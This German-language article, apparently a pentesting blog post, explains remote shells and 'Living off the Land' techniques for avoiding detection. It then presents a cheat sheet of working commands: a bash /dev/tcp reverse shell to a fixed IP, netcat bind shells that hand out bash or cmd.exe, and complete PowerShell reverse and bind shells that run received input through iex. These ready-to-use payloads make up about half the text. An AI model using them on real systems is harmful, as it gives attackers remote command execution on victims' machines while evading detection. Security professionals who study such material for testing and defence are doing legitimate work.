Remote Shells sind Tools, die es einem Benutzer ermöglichen, auf entfernte Systeme zuzugreifen und Befehle auszuführen, als wäre er lokal präsent. Diese sind oft unerlässlich für Penetrationstests, bei denen Sicherheitslücken in einem System identifiziert werden sollen. Die Auswahl einer geeigneten Remote Shell ist entscheidend, insbesondere wenn man versucht, Detektionen zu minimieren und sich „off the grid“ zu bewegen.
In diesem Zusammenhang werden oft sogenannte „Living off the Land“ (LOLBAS – https://lolbas-project.github.io/) Techniken verwendet. Dies bedeutet, dass Angreifer auf bereits auf dem Zielsystem vorhandene Tools und Ressourcen zurückgreifen, um ihre Aktionen zu tarnen und Detektionen zu umgehen. Anstatt verdächtige Software zu installieren, nutzen sie die vorhandenen Funktionen des Betriebssystems, um ihre Spuren zu verwischen.
Ein Beispiel für eine Remote Shell, die in LOLBAS-Szenarien verwendet werden kann, ist die Verwendung von PowerShell auf Windows-Systemen. PowerShell ist eine leistungsstarke Skriptsprache, die von Microsoft entwickelt wurde und auf vielen Windows-Rechnern vorinstalliert ist. Angreifer können PowerShell verwenden, um Remote-Befehle auszuführen, Dateien herunterzuladen oder Systeminformationen abzurufen, ohne zusätzliche Software installieren zu müssen.
Der Vorteil solcher LOLBAS-Techniken liegt darin, dass sie oft schwerer zu erkennen sind, da sie sich auf bereits vorhandene Ressourcen stützen. Die Verwendung von legitimen Systemtools minimiert das Risiko, von Sicherheitslösungen entdeckt zu werden, die auf das Erkennen von bösartiger Software abzielen.
Für Penetrationstests ist es entscheidend, dass Ethical Hacker und Sicherheitsprofis diese Techniken verstehen und sich ihrer bedienen, um Schwachstellen aufzudecken, ohne dabei unnötige Aufmerksamkeit zu erregen. Es unterstreicht auch die Wichtigkeit für Organisationen, nicht nur auf die Erkennung von Malware zu setzen, sondern auch auf die Überwachung ungewöhnlicher Aktivitäten und Anomalien im Netzwerk, um fortschrittlichere Angriffe zu identifizieren.
Bash-Reverse-Shell (Linux)
bash -i >& /dev/tcp/10.10.15.13/8091 0>&1
/bin/bash -c ‘bash -i > /dev/tcp/IP/80 >&1’
Netcat-Bind-Shell (Linux / Windows)
nc -l -p [port] -e /bin/bash
nc -l -p [port] -e cmd.exe
PS-Reverse-Shell (Windows)
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-
String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Leng th);$stream.Flush();}$client.Close()"
PS-Bind-Shell (Windows)
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client =
$listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Leng th);$stream.Flush()};$client.Close();$listener.Stop()"